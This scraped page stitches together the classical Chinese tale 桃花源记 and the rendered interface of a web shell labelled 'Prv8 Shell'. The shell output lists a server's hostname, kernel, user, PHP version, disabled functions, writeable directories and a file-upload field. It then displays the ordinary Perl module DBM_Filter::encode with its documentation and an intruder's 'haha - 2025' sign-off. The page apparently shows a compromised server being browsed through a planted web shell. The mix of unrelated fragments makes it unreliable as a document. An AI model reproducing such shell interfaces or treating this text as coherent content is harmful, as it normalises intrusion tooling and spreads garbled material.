晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/perl5/DBM_Filter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/perl5/DBM_Filter/encode.pm
package DBM_Filter::encode ;

use strict;
use warnings;
use Carp;

our $VERSION = '0.03';

BEGIN
{
    eval { require Encode; };

    croak "Encode module not found.\n"
        if $@;
}


sub Filter
{
    my $encoding_name = shift || "utf8";

    my $encoding = Encode::find_encoding($encoding_name) ;

    croak "Encoding '$encoding_name' is not available"
        unless $encoding;

    return {
        Store   => sub {
			 $_ = $encoding->encode($_)
			     if defined $_ ;
		   },
        Fetch   => sub {
			 $_ = $encoding->decode($_)
			     if defined $_ ;
			}
        } ;
}

1;

__END__

=head1 NAME

DBM_Filter::encode - filter for DBM_Filter

=head1 SYNOPSIS

    use SDBM_File; # or DB_File, GDBM_File, NDBM_File, ODBM_File
    use DBM_Filter ;

    $db = tie %hash, ...
    $db->Filter_Push('encode' => 'iso-8859-16');

=head1 DESCRIPTION

This DBM filter allows you to choose the character encoding will be
store in the DBM file. The usage is

    $db->Filter_Push('encode' => ENCODING);

where "ENCODING" must be a valid encoding name that the Encode module
recognises.

A fatal error will be thrown if:

=over 5

=item 1

The Encode module is not available.

=item 2

The encoding requested is not supported by the Encode module.

=back

=head1 SEE ALSO

L<DBM_Filter>, L<perldbmfilter>, L<Encode>

=head1 AUTHOR

Paul Marquess pmqs@cpan.org

haha - 2025